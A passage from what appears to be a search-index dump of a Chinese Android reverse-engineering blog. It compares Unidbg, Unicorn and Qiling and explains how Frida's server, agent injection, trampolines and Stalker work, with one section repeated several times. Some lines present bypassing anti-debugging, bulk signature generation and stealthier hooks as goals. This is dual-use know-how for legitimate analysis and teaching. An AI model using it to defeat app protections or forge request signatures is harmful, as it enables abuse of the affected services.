","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:6:1","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#三者定位"},{"categories":null,"collections":null,"content":"详细对比 维度 Unidbg Unicorn Qiling 开发语言 Java C (多语言绑定) Python 定位 Android SO 模拟 通用 CPU 模拟引擎 OS 级模拟框架 JNI 支持 内置完整实现 无 无 DVM/ART 内置 无 无 Android 系统库 自带精简版 无 部分支持 Linux syscall 针对 Android 优化 无 通用 Linux 实现 Windows 支持 不支持 仅 CPU 层面 完整支持 ELF/PE 加载 ELF 内置 需自行实现 两者内置 Hook 框架 HookZz, xHook 需手动实现 内置 多线程 有限支持 不支持 有限支持 性能 较高 (Dynarmic) 中等 较低 (Python 开销) ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:6:2","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#详细对比"},{"categories":null,"collections":null,"content":"代码风格对比 同样的功能——加载 SO 并调用函数： Unicorn (Python) — 需要手动处理一切: mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB) mu.mem_map(0x10000, 0x10000) mu.mem_write(0x10000, so_code_bytes) mu.reg_write(UC_ARM_REG_SP, 0x20000) mu.reg_write(UC_ARM_REG_R0, arg0) mu.hook_add(UC_HOOK_INTR, hook_intr) mu.emu_start(0x10000 + offset, 0x10000 + end) # 需要自己实现 ELF 解析、重定位、JNI、syscall... Qiling (Python) — 有 OS 抽象，但没有 JNI: ql = Qiling([\"rootfs/lib/libnative.so\"], rootfs=\"rootfs\", ostype=\"linux\", archtype=\"arm\") ql.run() # 没有 JNI/DVM 支持，Android SO 需要大量额外工作 Unidbg (Java) — Android 开箱即用: AndroidEmulator emulator = AndroidEmulatorBuilder.for32Bit().build(); emulator.getMemory().setLibraryResolver(new AndroidResolver(23)); VM vm = emulator.createDalvikVM(new File(\"app.apk\")); vm.setJni(this); DalvikModule dm = vm.loadLibrary(\"native\", true); dm.callJNI_OnLoad(emulator); // JNI 调用一步到位 DvmObject\u003c?\u003e result = dvmClass.callStaticJniMethodObject(emulator, \"sign(Ljava/lang/String;)Ljava/lang/String;\", new StringObject(vm, input)); ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:6:3","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#代码风格对比"},{"categories":null,"collections":null,"content":"选择建议 目标场景 推荐工具 Android SO 加密算法分析 Unidbg Windows PE 算法分析 Qiling 构建自定义模拟/分析工具 Unicorn IoT 嵌入式固件模拟 Qiling 高性能批量调用 Unidbg + Dynarmic ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:6:4","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#选择建议"},{"categories":null,"collections":null,"content":"优势与局限 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:7:0","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#优势与局限"},{"categories":null,"collections":null,"content":"优势 优势 说明 摆脱环境限制 无需真机或模拟器，无 root 要求 高可控性 完全控制执行流程，任意修改内存和寄存器 自动化集成 易于与 Java/Python 项目集成，支持大规模自动化 反反调试 没有 ptrace 进程，绕过大多数反调试检测 可重复性 相同输入始终产生相同输出 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:7:1","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#优势"},{"categories":null,"collections":null,"content":"局限 局限 说明 环境不完整 非 100% Android 环境，强依赖系统/硬件特性的 SO 可能失败 性能开销 逐条指令模拟，性能低于原生 (Dynarmic 有显著改善) 覆盖度有限 未实现的 syscall/JNI 需要手动补充 多线程局限 对 SO 内部创建线程的支持有限 时间敏感 模拟速度不一致，依赖精确时间的代码可能产生不同结果 ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:7:2","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#局限"},{"categories":null,"collections":null,"content":"适用性判断 +-----------------------------------+-----------------------------------+ | 适合使用 Unidbg | 不适合使用 Unidbg | +-----------------------------------+-----------------------------------+ | 纯算法分析 (sign/encrypt/hash) | 涉及 UI 渲染的功能 | | 需要绕过强反调试 | 重度依赖 Binder IPC | | 批量调用生成签名 | 需要实时网络通信 | | 对抗混淆后的算法还原 | 多线程密集型 SO | | 无真机环境的离线分析 | 依赖硬件特性 (GPU/传感器) | +-----------------------------------+-----------------------------------+ ","date":"2024-07-11","objectID":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/:7:3","tags":["Native层","动态分析","Frida","加密分析","Xposed","Android"],"title":"Unidbg 实现原理剖析","uri":"/reverse_engineering/android/02-tools/dynamic/unidbg_internals/#适用性判断"},{"categories":null,"collections":null,"content":"Frida 核心模块与实现原理 Frida 是一个功能强大的动态插桩框架，但要充分利用它，理解其内部工作原理至关重要。本指南将深入探讨构成 Frida 的几个核心模块、它们的作用以及它们是如何协同工作的。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:0","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#frida-核心模块与实现原理"},{"categories":null,"collections":null,"content":"Frida 的 architecture 概览 Frida 采用的是一种客户端-服务器 (Client-Server) 架构。 思考：为什么需要这样复杂的架构？ Frida 为什么不设计成一个简单的工具，而要分成客户端、服务器、Agent 三层？ 跨平台的必然选择： 隔离性：你的分析脚本（Python）运行在 PC，不会影响目标设备的性能 安全性：Server 只负责进程管理和注入，真正的\"危险操作\"在隔离的进程内 灵活性：同一个 Server 可以同时为多个客户端服务，支持团队协作 跨语言：PC 端用 Python/Node.js 编写自动化脚本，目标进程内用 JavaScript 操作内存，各取所长 这种架构的本质是：把\"控制\"和\"执行\"分离，就像遥控无人机——遥控器在你手上，但飞行逻辑在机上。 客户端 (Client): 运行在你 PC 上的部分。这包括你编写的 Python 或 Node.js 脚本，以及你使用的 Frida 命令行工具 (frida, frida-trace 等)。 服务器 (Server): 在目标设备（如 Android 手机）上以后台守护进程模式运行的 frida-server。 Agent: 当你附加到一个目标进程时，Frida 会将一个动态库 (frida-agent.so) 注入到该进程的内存空间中。这个 Agent 负责执行你在客户端脚本中定义的逻辑。 图片来源: frida.re* 完整数据流： PC (Host) Android (Target) +------------------+ +-------------------------+ | Python/Node.js | USB/TCP | frida-server (root) | | 客户端脚本 |\u003c==========\u003e| 端口 27042 | | frida CLI | | | ptrace/dlopen | +------------------+ | v | | +--------------------+ | | | 目标进程 | | | | +--------------+ | | | | | agent.so | | | | | | V8 + Gum | | | | | | user script | | | | | +--------------+ | | | +--------------------+ | +-------------------------+ ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:1","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#frida-的-architecture-概览"},{"categories":null,"collections":null,"content":"核心组件详解 Frida-Server: 设备端的守护进程 frida-server 是一个在目标设备上运行的二进制文件。它的主要职责是： 监听连接: 监听来自你 PC 上 Frida 客户端的 TCP 连接。 进程管理: 枚举目标设备上正在运行的进程，获取应用信息。 注入 Agent: 当客户端指定要附加 (attach) 或启动 (spawn) 一个应用时，frida-server 负责将 frida-agent.so 注入到目标进程中。在 Android 上，它通常通过 ptrace 来实现这一点。 Frida-Core: 注入目标进程的核心引擎 frida-core 是 Frida 的核心，它被编译成 frida-agent.so 并注入到目标进程。它是一个用 C 语言编写的多平台库，主要负责： 进程内通信: 建立一个与 frida-server 的通信渠道，从而间接地与你的 PC 客户端通信。 加载 JavaScript 引擎: 它内部嵌入了一个 Google V8 JavaScript 引擎。 暴露原生 API: 将底层的 frida-gum 功能通过 JavaScript API (如 Interceptor, Memory, NativePointer) 暴露给用户脚本。 Frida-Gum: 实现 Hook 的魔法棒 frida-gum 是 frida-core 中最具魔力的部分，它是一个跨平台的代码插桩工具包。所有 Hook 和代码跟踪功能都由它提供。 Interceptor: 函数拦截器 Interceptor 是你最常使用的功能，用于 Hook/Trace/替换任意函数。 深入理解：Hook 的本质是什么？ 很多人把 Hook 当成\"黑魔法\"，但其实原理很朴素： Hook = 劫持程序的执行流 想象你在高速公路上设置了一个收费站： 原始道路：函数的正常执行流程 收费站（Trampoline）：你插入的代码 改道标志（JMP）：修改函数入口的跳转指令 恢复通行：执行原始指令后继续 理解了这个本质，你就能： 判断哪些 Hook 会相互冲突（都修改同一个函数入口） 理解为什么有些反 Hook 检测能发现你（检查函数头的修改） 知道如何写更隐蔽的 Hook（inline hook vs. PLT/GOT hook） 实现原理: 动态代码生成: 当你 Interceptor.attach 一个函数时，Frida-Gum 会在内存中动态地生成一小段汇编代码，我们称之为蹦床 (Trampoline)。 函数头重写 (Prologue Rewriting): Frida-Gum 会修改目标函数入口点（函数头）的几条指令，将其替换为一个无条件跳转 (JMP) 指令，该指令指向刚刚创建的蹦床。Frida 会非常小心地保存被它覆盖掉的原始指令。 执行流程: 当应用调用目标函数时，它会首先跳转到蹦床。 蹦床代码会保存当前的 CPU 上下文（寄存器状态），然后调用你在 JavaScript 中定义的 onEnter 回调。 onEnter 执行完毕后，蹦床会执行被它覆盖掉的原始函数指令，然后跳转回原始函数的剩余部分继续执行。 当原始函数执行完毕后，控制权返回给蹦床，蹦床再调用你的 onLeave 回调。 最后，蹦床恢复之前保存的 CPU 上下文，并将返回值传递给原始的调用者。 Stalker: 指令级跟踪器 Stalker 是 Frida 的代码跟踪引擎，功能极其强大但使用也更复杂。它可以用来记录一个线程执行过的每一条汇编指令。 实现原理 (基于动态重新编译): 基本块 (Basic Block): Stalker 将代码分解为\"基本块\"。一个基本块是一系列连续的指令，只有一个入口点和一个出口点（通常是跳转或返回指令）。 代码拷贝与插桩: 当一个线程将要执行某个基本块时，Stalker 会： a. 将这个基本块的所有指令拷贝到一块新的内存区域。 b. 在这份拷贝中插入你的分析代码（例如，记录指令地址、寄存器值的代码）。 c. 执行这份被插桩后的代码副本。 代码缓存 (Code Cache): Stalker 会缓存这些被修改过的基本块。下次再执行到同一个基本块时，可以直接使用缓存中的版本，极大地提高了性能。 链接 (Chaining): Stalker 会修改每个插桩后基本块的末尾，使其跳转到下一个即将执行的原始基本块对应的\"插桩版本\"，从而形成一个完整的跟踪链。 简而言之，Stalker 通过创建和执行原始代码的\"带监控的副本\"来实现无死角的指令级跟踪。 JavaScript (V8) 运行时: 脚本的执行环境 为什么我们用 JavaScript 写 Hook 逻辑？因为 frida-agent.so 在注入目标进程后，会初始化一个 V8 引擎实例。你的 JS 脚本被完整地加载到这个 V8 引擎中执行。 这带来了巨大的优势： 高级语言的便利性: 你可以在目标进程的地址空间内，用 JavaScript 的便利性来操作内存、调用函数。 JIT 编译: V8 的即时编译 (JIT) 特性使得你的 JS 脚本能以接近原生的速度运行，性能远超解释执行。 强大的生态: 可以利用现有的 JS 库。 Frida 实际上提供了两个 JS 运行时： 运行时 引擎 特点 适用场景 V8 Google V8 JIT 编译，性能最优 默认选择，大多数场景 QuickJS Fabrice Bellard 的 QuickJS 解释执行，体积小 iOS 无 JIT 权限时 语言绑定 (Bindings): 你的控制台 frida-python, frida-node 等库是你的\"控制端\"。它们负责： 连接 Server: 与设备上的 frida-server 建立通信。 发送指令: 将你的指令（如\"附加到 PID 1234\"）发送给 frida-server。 加载脚本: 将你的 .js 脚本文件内容发送给 frida-agent.so 里的 V8 引擎去执行。 双向通信 (RPC): 建立一个双向的 RPC 通道。这使得你在 JS 中调用 send() 的数据能被 Python 的 on_message 回调接收，反之亦然。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:2","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#核心组件详解"},{"categories":null,"collections":null,"content":"核心组件详解 Frida-Server: 设备端的守护进程 frida-server 是一个在目标设备上运行的二进制文件。它的主要职责是： 监听连接: 监听来自你 PC 上 Frida 客户端的 TCP 连接。 进程管理: 枚举目标设备上正在运行的进程，获取应用信息。 注入 Agent: 当客户端指定要附加 (attach) 或启动 (spawn) 一个应用时，frida-server 负责将 frida-agent.so 注入到目标进程中。在 Android 上，它通常通过 ptrace 来实现这一点。 Frida-Core: 注入目标进程的核心引擎 frida-core 是 Frida 的核心，它被编译成 frida-agent.so 并注入到目标进程。它是一个用 C 语言编写的多平台库，主要负责： 进程内通信: 建立一个与 frida-server 的通信渠道，从而间接地与你的 PC 客户端通信。 加载 JavaScript 引擎: 它内部嵌入了一个 Google V8 JavaScript 引擎。 暴露原生 API: 将底层的 frida-gum 功能通过 JavaScript API (如 Interceptor, Memory, NativePointer) 暴露给用户脚本。 Frida-Gum: 实现 Hook 的魔法棒 frida-gum 是 frida-core 中最具魔力的部分，它是一个跨平台的代码插桩工具包。所有 Hook 和代码跟踪功能都由它提供。 Interceptor: 函数拦截器 Interceptor 是你最常使用的功能，用于 Hook/Trace/替换任意函数。 深入理解：Hook 的本质是什么？ 很多人把 Hook 当成\"黑魔法\"，但其实原理很朴素： Hook = 劫持程序的执行流 想象你在高速公路上设置了一个收费站： 原始道路：函数的正常执行流程 收费站（Trampoline）：你插入的代码 改道标志（JMP）：修改函数入口的跳转指令 恢复通行：执行原始指令后继续 理解了这个本质，你就能： 判断哪些 Hook 会相互冲突（都修改同一个函数入口） 理解为什么有些反 Hook 检测能发现你（检查函数头的修改） 知道如何写更隐蔽的 Hook（inline hook vs. PLT/GOT hook） 实现原理: 动态代码生成: 当你 Interceptor.attach 一个函数时，Frida-Gum 会在内存中动态地生成一小段汇编代码，我们称之为蹦床 (Trampoline)。 函数头重写 (Prologue Rewriting): Frida-Gum 会修改目标函数入口点（函数头）的几条指令，将其替换为一个无条件跳转 (JMP) 指令，该指令指向刚刚创建的蹦床。Frida 会非常小心地保存被它覆盖掉的原始指令。 执行流程: 当应用调用目标函数时，它会首先跳转到蹦床。 蹦床代码会保存当前的 CPU 上下文（寄存器状态），然后调用你在 JavaScript 中定义的 onEnter 回调。 onEnter 执行完毕后，蹦床会执行被它覆盖掉的原始函数指令，然后跳转回原始函数的剩余部分继续执行。 当原始函数执行完毕后，控制权返回给蹦床，蹦床再调用你的 onLeave 回调。 最后，蹦床恢复之前保存的 CPU 上下文，并将返回值传递给原始的调用者。 Stalker: 指令级跟踪器 Stalker 是 Frida 的代码跟踪引擎，功能极其强大但使用也更复杂。它可以用来记录一个线程执行过的每一条汇编指令。 实现原理 (基于动态重新编译): 基本块 (Basic Block): Stalker 将代码分解为\"基本块\"。一个基本块是一系列连续的指令，只有一个入口点和一个出口点（通常是跳转或返回指令）。 代码拷贝与插桩: 当一个线程将要执行某个基本块时，Stalker 会： a. 将这个基本块的所有指令拷贝到一块新的内存区域。 b. 在这份拷贝中插入你的分析代码（例如，记录指令地址、寄存器值的代码）。 c. 执行这份被插桩后的代码副本。 代码缓存 (Code Cache): Stalker 会缓存这些被修改过的基本块。下次再执行到同一个基本块时，可以直接使用缓存中的版本，极大地提高了性能。 链接 (Chaining): Stalker 会修改每个插桩后基本块的末尾，使其跳转到下一个即将执行的原始基本块对应的\"插桩版本\"，从而形成一个完整的跟踪链。 简而言之，Stalker 通过创建和执行原始代码的\"带监控的副本\"来实现无死角的指令级跟踪。 JavaScript (V8) 运行时: 脚本的执行环境 为什么我们用 JavaScript 写 Hook 逻辑？因为 frida-agent.so 在注入目标进程后，会初始化一个 V8 引擎实例。你的 JS 脚本被完整地加载到这个 V8 引擎中执行。 这带来了巨大的优势： 高级语言的便利性: 你可以在目标进程的地址空间内，用 JavaScript 的便利性来操作内存、调用函数。 JIT 编译: V8 的即时编译 (JIT) 特性使得你的 JS 脚本能以接近原生的速度运行，性能远超解释执行。 强大的生态: 可以利用现有的 JS 库。 Frida 实际上提供了两个 JS 运行时： 运行时 引擎 特点 适用场景 V8 Google V8 JIT 编译，性能最优 默认选择，大多数场景 QuickJS Fabrice Bellard 的 QuickJS 解释执行，体积小 iOS 无 JIT 权限时 语言绑定 (Bindings): 你的控制台 frida-python, frida-node 等库是你的\"控制端\"。它们负责： 连接 Server: 与设备上的 frida-server 建立通信。 发送指令: 将你的指令（如\"附加到 PID 1234\"）发送给 frida-server。 加载脚本: 将你的 .js 脚本文件内容发送给 frida-agent.so 里的 V8 引擎去执行。 双向通信 (RPC): 建立一个双向的 RPC 通道。这使得你在 JS 中调用 send() 的数据能被 Python 的 on_message 回调接收，反之亦然。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:2","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#frida-server-设备端的守护进程"},{"categories":null,"collections":null,"content":"核心组件详解 Frida-Server: 设备端的守护进程 frida-server 是一个在目标设备上运行的二进制文件。它的主要职责是： 监听连接: 监听来自你 PC 上 Frida 客户端的 TCP 连接。 进程管理: 枚举目标设备上正在运行的进程，获取应用信息。 注入 Agent: 当客户端指定要附加 (attach) 或启动 (spawn) 一个应用时，frida-server 负责将 frida-agent.so 注入到目标进程中。在 Android 上，它通常通过 ptrace 来实现这一点。 Frida-Core: 注入目标进程的核心引擎 frida-core 是 Frida 的核心，它被编译成 frida-agent.so 并注入到目标进程。它是一个用 C 语言编写的多平台库，主要负责： 进程内通信: 建立一个与 frida-server 的通信渠道，从而间接地与你的 PC 客户端通信。 加载 JavaScript 引擎: 它内部嵌入了一个 Google V8 JavaScript 引擎。 暴露原生 API: 将底层的 frida-gum 功能通过 JavaScript API (如 Interceptor, Memory, NativePointer) 暴露给用户脚本。 Frida-Gum: 实现 Hook 的魔法棒 frida-gum 是 frida-core 中最具魔力的部分，它是一个跨平台的代码插桩工具包。所有 Hook 和代码跟踪功能都由它提供。 Interceptor: 函数拦截器 Interceptor 是你最常使用的功能，用于 Hook/Trace/替换任意函数。 深入理解：Hook 的本质是什么？ 很多人把 Hook 当成\"黑魔法\"，但其实原理很朴素： Hook = 劫持程序的执行流 想象你在高速公路上设置了一个收费站： 原始道路：函数的正常执行流程 收费站（Trampoline）：你插入的代码 改道标志（JMP）：修改函数入口的跳转指令 恢复通行：执行原始指令后继续 理解了这个本质，你就能： 判断哪些 Hook 会相互冲突（都修改同一个函数入口） 理解为什么有些反 Hook 检测能发现你（检查函数头的修改） 知道如何写更隐蔽的 Hook（inline hook vs. PLT/GOT hook） 实现原理: 动态代码生成: 当你 Interceptor.attach 一个函数时，Frida-Gum 会在内存中动态地生成一小段汇编代码，我们称之为蹦床 (Trampoline)。 函数头重写 (Prologue Rewriting): Frida-Gum 会修改目标函数入口点（函数头）的几条指令，将其替换为一个无条件跳转 (JMP) 指令，该指令指向刚刚创建的蹦床。Frida 会非常小心地保存被它覆盖掉的原始指令。 执行流程: 当应用调用目标函数时，它会首先跳转到蹦床。 蹦床代码会保存当前的 CPU 上下文（寄存器状态），然后调用你在 JavaScript 中定义的 onEnter 回调。 onEnter 执行完毕后，蹦床会执行被它覆盖掉的原始函数指令，然后跳转回原始函数的剩余部分继续执行。 当原始函数执行完毕后，控制权返回给蹦床，蹦床再调用你的 onLeave 回调。 最后，蹦床恢复之前保存的 CPU 上下文，并将返回值传递给原始的调用者。 Stalker: 指令级跟踪器 Stalker 是 Frida 的代码跟踪引擎，功能极其强大但使用也更复杂。它可以用来记录一个线程执行过的每一条汇编指令。 实现原理 (基于动态重新编译): 基本块 (Basic Block): Stalker 将代码分解为\"基本块\"。一个基本块是一系列连续的指令，只有一个入口点和一个出口点（通常是跳转或返回指令）。 代码拷贝与插桩: 当一个线程将要执行某个基本块时，Stalker 会： a. 将这个基本块的所有指令拷贝到一块新的内存区域。 b. 在这份拷贝中插入你的分析代码（例如，记录指令地址、寄存器值的代码）。 c. 执行这份被插桩后的代码副本。 代码缓存 (Code Cache): Stalker 会缓存这些被修改过的基本块。下次再执行到同一个基本块时，可以直接使用缓存中的版本，极大地提高了性能。 链接 (Chaining): Stalker 会修改每个插桩后基本块的末尾，使其跳转到下一个即将执行的原始基本块对应的\"插桩版本\"，从而形成一个完整的跟踪链。 简而言之，Stalker 通过创建和执行原始代码的\"带监控的副本\"来实现无死角的指令级跟踪。 JavaScript (V8) 运行时: 脚本的执行环境 为什么我们用 JavaScript 写 Hook 逻辑？因为 frida-agent.so 在注入目标进程后，会初始化一个 V8 引擎实例。你的 JS 脚本被完整地加载到这个 V8 引擎中执行。 这带来了巨大的优势： 高级语言的便利性: 你可以在目标进程的地址空间内，用 JavaScript 的便利性来操作内存、调用函数。 JIT 编译: V8 的即时编译 (JIT) 特性使得你的 JS 脚本能以接近原生的速度运行，性能远超解释执行。 强大的生态: 可以利用现有的 JS 库。 Frida 实际上提供了两个 JS 运行时： 运行时 引擎 特点 适用场景 V8 Google V8 JIT 编译，性能最优 默认选择，大多数场景 QuickJS Fabrice Bellard 的 QuickJS 解释执行，体积小 iOS 无 JIT 权限时 语言绑定 (Bindings): 你的控制台 frida-python, frida-node 等库是你的\"控制端\"。它们负责： 连接 Server: 与设备上的 frida-server 建立通信。 发送指令: 将你的指令（如\"附加到 PID 1234\"）发送给 frida-server。 加载脚本: 将你的 .js 脚本文件内容发送给 frida-agent.so 里的 V8 引擎去执行。 双向通信 (RPC): 建立一个双向的 RPC 通道。这使得你在 JS 中调用 send() 的数据能被 Python 的 on_message 回调接收，反之亦然。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:2","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#frida-core-注入目标进程的核心引擎"},{"categories":null,"collections":null,"content":"核心组件详解 Frida-Server: 设备端的守护进程 frida-server 是一个在目标设备上运行的二进制文件。它的主要职责是： 监听连接: 监听来自你 PC 上 Frida 客户端的 TCP 连接。 进程管理: 枚举目标设备上正在运行的进程，获取应用信息。 注入 Agent: 当客户端指定要附加 (attach) 或启动 (spawn) 一个应用时，frida-server 负责将 frida-agent.so 注入到目标进程中。在 Android 上，它通常通过 ptrace 来实现这一点。 Frida-Core: 注入目标进程的核心引擎 frida-core 是 Frida 的核心，它被编译成 frida-agent.so 并注入到目标进程。它是一个用 C 语言编写的多平台库，主要负责： 进程内通信: 建立一个与 frida-server 的通信渠道，从而间接地与你的 PC 客户端通信。 加载 JavaScript 引擎: 它内部嵌入了一个 Google V8 JavaScript 引擎。 暴露原生 API: 将底层的 frida-gum 功能通过 JavaScript API (如 Interceptor, Memory, NativePointer) 暴露给用户脚本。 Frida-Gum: 实现 Hook 的魔法棒 frida-gum 是 frida-core 中最具魔力的部分，它是一个跨平台的代码插桩工具包。所有 Hook 和代码跟踪功能都由它提供。 Interceptor: 函数拦截器 Interceptor 是你最常使用的功能，用于 Hook/Trace/替换任意函数。 深入理解：Hook 的本质是什么？ 很多人把 Hook 当成\"黑魔法\"，但其实原理很朴素： Hook = 劫持程序的执行流 想象你在高速公路上设置了一个收费站： 原始道路：函数的正常执行流程 收费站（Trampoline）：你插入的代码 改道标志（JMP）：修改函数入口的跳转指令 恢复通行：执行原始指令后继续 理解了这个本质，你就能： 判断哪些 Hook 会相互冲突（都修改同一个函数入口） 理解为什么有些反 Hook 检测能发现你（检查函数头的修改） 知道如何写更隐蔽的 Hook（inline hook vs. PLT/GOT hook） 实现原理: 动态代码生成: 当你 Interceptor.attach 一个函数时，Frida-Gum 会在内存中动态地生成一小段汇编代码，我们称之为蹦床 (Trampoline)。 函数头重写 (Prologue Rewriting): Frida-Gum 会修改目标函数入口点（函数头）的几条指令，将其替换为一个无条件跳转 (JMP) 指令，该指令指向刚刚创建的蹦床。Frida 会非常小心地保存被它覆盖掉的原始指令。 执行流程: 当应用调用目标函数时，它会首先跳转到蹦床。 蹦床代码会保存当前的 CPU 上下文（寄存器状态），然后调用你在 JavaScript 中定义的 onEnter 回调。 onEnter 执行完毕后，蹦床会执行被它覆盖掉的原始函数指令，然后跳转回原始函数的剩余部分继续执行。 当原始函数执行完毕后，控制权返回给蹦床，蹦床再调用你的 onLeave 回调。 最后，蹦床恢复之前保存的 CPU 上下文，并将返回值传递给原始的调用者。 Stalker: 指令级跟踪器 Stalker 是 Frida 的代码跟踪引擎，功能极其强大但使用也更复杂。它可以用来记录一个线程执行过的每一条汇编指令。 实现原理 (基于动态重新编译): 基本块 (Basic Block): Stalker 将代码分解为\"基本块\"。一个基本块是一系列连续的指令，只有一个入口点和一个出口点（通常是跳转或返回指令）。 代码拷贝与插桩: 当一个线程将要执行某个基本块时，Stalker 会： a. 将这个基本块的所有指令拷贝到一块新的内存区域。 b. 在这份拷贝中插入你的分析代码（例如，记录指令地址、寄存器值的代码）。 c. 执行这份被插桩后的代码副本。 代码缓存 (Code Cache): Stalker 会缓存这些被修改过的基本块。下次再执行到同一个基本块时，可以直接使用缓存中的版本，极大地提高了性能。 链接 (Chaining): Stalker 会修改每个插桩后基本块的末尾，使其跳转到下一个即将执行的原始基本块对应的\"插桩版本\"，从而形成一个完整的跟踪链。 简而言之，Stalker 通过创建和执行原始代码的\"带监控的副本\"来实现无死角的指令级跟踪。 JavaScript (V8) 运行时: 脚本的执行环境 为什么我们用 JavaScript 写 Hook 逻辑？因为 frida-agent.so 在注入目标进程后，会初始化一个 V8 引擎实例。你的 JS 脚本被完整地加载到这个 V8 引擎中执行。 这带来了巨大的优势： 高级语言的便利性: 你可以在目标进程的地址空间内，用 JavaScript 的便利性来操作内存、调用函数。 JIT 编译: V8 的即时编译 (JIT) 特性使得你的 JS 脚本能以接近原生的速度运行，性能远超解释执行。 强大的生态: 可以利用现有的 JS 库。 Frida 实际上提供了两个 JS 运行时： 运行时 引擎 特点 适用场景 V8 Google V8 JIT 编译，性能最优 默认选择，大多数场景 QuickJS Fabrice Bellard 的 QuickJS 解释执行，体积小 iOS 无 JIT 权限时 语言绑定 (Bindings): 你的控制台 frida-python, frida-node 等库是你的\"控制端\"。它们负责： 连接 Server: 与设备上的 frida-server 建立通信。 发送指令: 将你的指令（如\"附加到 PID 1234\"）发送给 frida-server。 加载脚本: 将你的 .js 脚本文件内容发送给 frida-agent.so 里的 V8 引擎去执行。 双向通信 (RPC): 建立一个双向的 RPC 通道。这使得你在 JS 中调用 send() 的数据能被 Python 的 on_message 回调接收，反之亦然。 ","date":"2024-07-10","objectID":"/reverse_engineering/android/02-tools/dynamic/frida_internals/:0:2","tags":["Native层","动态分析","Frida","Hook","Xposed","Android"],"title":"Frida 核心模块与实现原理","uri":"/reverse_engineering/android/02-tools/dynamic/frida_internals/#frida-gum-实现-hook-的魔法棒"},{"categories":null,"collections":null,"content":"核心组件详解 Frida-Server: 设备端的守护进程 frida-server 是一个在目标设备上运行的二进制文件。它的主要职责是： 监听连接: 监听来自你 PC 上 Frida 客户端的 TCP 连接。 进程管理: 枚举目标设备上正在运行的进程，获取应用信息。 注入 Agent: 当客户端指定要附加 (attach) 或启动 (spawn) 一个应用时，frida-server 负责将 frida-agent.so 注入到目标进程中。在 Android 上，它通常通过 ptrace 来实现这一点。 Frida-Core: 注入目标进程的核心引擎 frida-core 是 Frida 的核心，它被编译成 frida-agent.so 并注入到目标进程。它是一个用 C 语言编写的多平台库，主要负责： 进程内通信: 建立一个与 frida-server 的通信渠道，从而间接地与你的 PC 客户端通信。 加载 JavaScript 引擎: 它内部嵌入了一个 Google V8 JavaScript 引擎。 暴露原生 API: 将底层的 frida-gum 功能通过 JavaScript API (如 Interceptor, Memory, NativePointer) 暴露给用户脚本。 Frida-Gum: 实现 Hook 的魔法棒 frida-gum 是 frida-core 中最具魔力的部分，它是一个跨平台的代码插桩工具包。所有 Hook 和代码跟踪功能都由它提供。 Interceptor: 函数拦截器 Interceptor 是你最常使用的功能，用于 Hook/Trace/替换任意函数。 深入理解：Hook 的本质是什么？ 很多人把 Hook 当成\"黑魔法\"，但其实原理很朴素： Hook = 劫持程序的执行流 想象你在高速公路上设置了一个收费站： 原始道路：函数的正常执行流程 收费站（Trampoline）：你插入的代码 改道标志（JMP）：修改函数入口的跳转指令 恢复通行：执行原始指令后继续 理解了这个本质，你就能： 判断哪些 Hook 会相互冲突（都修改同一个函数入口） 理解为什么有些反 Hook 检测能发现你（检查函数头的修改） 知道如何写更隐蔽的 Hook（inline hook vs. PLT/GOT hook） 实现原理: 动态代码生成: 当你 Interceptor.attach 一个函数时，Frida-Gum 会在内存中动态地生成一小段汇编代码，我们称之为蹦床 (Trampoline)。 函数头重写 (Prologue Rewriting): Frida-Gum 会修改目标函数入口点（函数头）的几条指令，将其替换为一个无条件跳转 (JMP) 指令，该指令指向刚刚创建的蹦床。Frida 会非常小心地保存被它覆盖掉的原始指令。 执行流程: 